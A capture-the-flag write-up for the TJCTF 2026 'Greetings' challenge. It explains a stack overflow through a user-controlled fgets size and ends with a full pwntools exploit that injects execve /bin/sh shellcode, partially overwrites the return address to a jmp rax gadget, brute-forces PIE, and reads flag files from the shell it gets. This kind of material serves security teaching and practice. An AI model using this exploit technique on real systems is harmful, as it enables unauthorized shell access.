pwnfreemedium

Greetings

tjctf

Task: 64-bit PIE ELF with executable stack and no canary; user controls fgets size causing stack buffer overflow. Solution: inject shellcode in buffer, skip printf to preserve RAX (buffer pointer from fgets), partial-overwrite return address to jmp rax gadget with 1/16 PIE brute force.

$ ls tags/ techniques/
shellcode_injectionfgets_size_overflowpartial_return_address_overwriterax_register_preservationpie_brute_force

Greetings — TJCTF 2026

Description

Greetings from TJ to you. Find the exploit, yes please do. Remote: nc tjc.tf 31373

We are given a 64-bit PIE ELF binary with source code. The program asks for a username size and a username, then greets the user if the name starts with @. The binary has an executable stack, no canary, and partial RELRO. A provided libc (Ubuntu GLIBC 2.42) and loader are included.

Analysis

Source Code

void greetUser() { int uname_size; char uname[64]; printf("Enter the size of your username: "); scanf("%d", &uname_size); getchar(); uname_size += 2; printf("Enter username (start with @): "); fgets(uname, uname_size, stdin); if (*(char *) uname == '@') { printf("Greetings to you: %s!", uname); } }

Vulnerability

The user controls uname_size via scanf("%d"). After +2 is added, this value is passed directly to fgets(uname, uname_size, stdin). Since uname is only 64 bytes on the stack, providing a large size causes a classic stack buffer overflow past saved registers and the return address. No stack canary protects the function.

Binary Protections

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments

The executable stack (RWX) is the critical enabler — shellcode injection is viable.

Stack Layout

From disassembly of greetUser:

greetUser:
  pushq %rbx           ; save RBX
  subq $0x50, %rsp     ; allocate 0x50 = 80 bytes

  rsp+0x0c: uname_size (4 bytes, int)
  rsp+0x10: uname[64]  (64-byte buffer)
  rsp+0x50: saved RBX  (8 bytes)
  rsp+0x58: return address (8 bytes) -> main+9 = PIE_base + 0x1089

Offsets from uname buffer start:

  • Saved RBX: offset 64 (0x40)
  • Return address: offset 72 (0x48)

Key Gadgets

  • jmp rax at PIE offset 0x10df
  • call rax at PIE offset 0x1010
  • No jmp rsp or call rsp gadgets available

The RAX Insight

The flag itself is a hint: "rAx h01ds r3t v@lS" = "RAX holds ret vals".

There are two code paths in greetUser:

  1. If uname[0] == '@' (0x40): printf("Greetings to you: %s!", uname) is called, which clobbers RAX with printf's return value.
  2. If uname[0] != '@': printf is skipped, and RAX still holds the return value from fgets — which is the pointer to the uname buffer on the stack.

So if we put shellcode in the buffer and DON'T start with @, RAX points to our shellcode when greetUser returns.

Solution

Strategy: Single-pass shellcode + partial overwrite to jmp rax

Since RAX holds the buffer pointer (when printf is skipped), we need to redirect execution to jmp rax (PIE offset 0x10df). The original return address is PIE_base + 0x1089 (main+9).

The Partial Overwrite Trick

Both addresses are in the 0x10XX range of the PIE image. We only need to change byte[0] of the return address from 0x89 to 0xdf.

However, fgets always null-terminates after the last byte written. If we write 73 bytes (64 buffer + 8 saved_RBX + 1 byte for return_addr[0]), the null terminator lands at return_addr[1], overwriting it with 0x00.

This works when PIE_base & 0xF000 == 0xF000 (lowest page nibble = 0xF):

  • Original return addr bytes (LE): [0x89, 0x00, ...] — byte[1] is already 0x00 due to the carry from 0xF000 + 0x1089 = 0x10089
  • After overwrite: [0xdf, 0x00, ...] = PIE_base + 0x10df = jmp rax

Probability: 1/16 — need the lowest page nibble of PIE base to be 0xF.

Payload Layout (73 bytes total)

[0-22]:  shellcode — execve("/bin/sh", NULL, NULL), 23 bytes
[23-63]: NOP sled (0x90 × 41)
[64-71]: junk 'B' × 8 (overwrites saved RBX, don't care)
[72]:    0xdf (overwrites return_addr byte[0])
--- fgets null-terminates here at byte 73 = return_addr[1] ---

Shellcode constraints:

  • No null bytes (0x00) — fgets stops on null
  • No newline (0x0a) — fgets stops on newline
  • First byte must NOT be 0x40 (@) — need to skip printf to preserve RAX

Execution Flow

  1. Send size 72+2 = 74fgets reads up to 73 bytes
  2. Send 73-byte payload: shellcode + NOP sled + junk RBX + 0xdf
  3. uname[0] != '@' → printf skipped → RAX = pointer to uname buffer
  4. greetUser epilogue: addq $0x50, %rsp; popq %rbx; retq
  5. retq pops the partially-overwritten address → jumps to jmp rax (PIE_base + 0x10df)
  6. jmp rax → jumps to buffer → shellcode executes → shell!

Working Exploit

#!/usr/bin/env python3 """ Exploit for TJCTF Greetings Single-pass: shellcode + partial overwrite to jmp rax (1/16 brute force) Key insight: when uname[0] != '@', printf is skipped and RAX still holds the fgets return value = pointer to the uname buffer on the stack. Overwrite return_addr byte[0] to 0xdf -> jmp rax gadget at PIE+0x10df. Works when PIE_base & 0xF000 == 0xF000 (prob 1/16). """ from pwn import * import sys import time context.arch = 'amd64' context.log_level = 'warn' # execve("/bin/sh", NULL, NULL) — 23 bytes, no nulls, no 0x0a, no 0x40 shellcode = bytes([ 0x48, 0x31, 0xf6, # xor rsi, rsi 0x48, 0xf7, 0xe6, # mul rsi (rax=rdx=0) 0x56, # push rsi (null terminator for string) 0x48, 0xbb, # movabs rbx, "//bin/sh" 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x53, # push rbx 0x54, # push rsp 0x5f, # pop rdi (rdi = pointer to "//bin/sh") 0xb0, 0x3b, # mov al, 59 (syscall number for execve) 0x0f, 0x05, # syscall ]) assert b'\x00' not in shellcode, "Shellcode contains null bytes!" assert b'\x0a' not in shellcode, "Shellcode contains newline!" assert shellcode[0] != 0x40, "Shellcode starts with '@'!" def try_exploit(host, port): try: p = remote(host, port, timeout=5) # Build payload: 73 bytes total payload = shellcode # [0-22]: shellcode (23 bytes) payload += b'\x90' * (64 - len(shellcode)) # [23-63]: NOP sled payload += b'B' * 8 # [64-71]: overwrite saved RBX payload += b'\xdf' # [72]: return_addr[0] = 0xdf p.recvuntil(b'Enter the size of your username: ', timeout=3) p.sendline(b'72') # +2 = 74, fgets reads up to 73 bytes p.recvuntil(b'Enter username (start with @): ', timeout=3) p.send(payload) # No newline — fgets reads exactly 73 bytes time.sleep(0.3) p.sendline(b'echo PWNED') response = p.recv(timeout=1.5) if b'PWNED' in response: log.success("Got shell!") p.sendline(b'cat /flag* /home/*/flag* /srv/flag* ./flag* 2>/dev/null') time.sleep(0.5) flag_output = p.recv(timeout=2).decode(errors='ignore') print(f"Flag: {flag_output}") p.interactive() return True p.close() return False except Exception: return False def main(): host = sys.argv[1] if len(sys.argv) > 1 else 'tjc.tf' port = int(sys.argv[2]) if len(sys.argv) > 2 else 31373 print(f"Target: {host}:{port}") print("Brute forcing PIE (need lowest page nibble = 0xF, prob 1/16)\n") for attempt in range(1, 201): if attempt % 5 == 0: print(f"Attempt {attempt}...") if try_exploit(host, port): print(f"\nSuccess after {attempt} attempts!") break time.sleep(0.05) else: print(f"Failed after 200 attempts") if __name__ == '__main__': main()

Failed Approaches

  1. Two-byte partial overwrite (\xdf\x50) — An earlier attempt tried overwriting two bytes of the return address, but misunderstood the partial overwrite math. The null terminator at byte[2] always corrupts the address, reducing probability to ~1/4096 instead of 1/16.

  2. Leaking stack addresses via printf — fgets always null-terminates after the last written byte, which blocks any leak of data beyond the written region. You cannot leak saved RBX or the return address without overwriting them first.

  3. 3000+ brute force attempts with wrong approach — The incorrect 2-byte overwrite had ~1/4096 probability, making even 3000 attempts insufficient. The correct 1-byte overwrite at 1/16 typically succeeds within 20-30 attempts.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups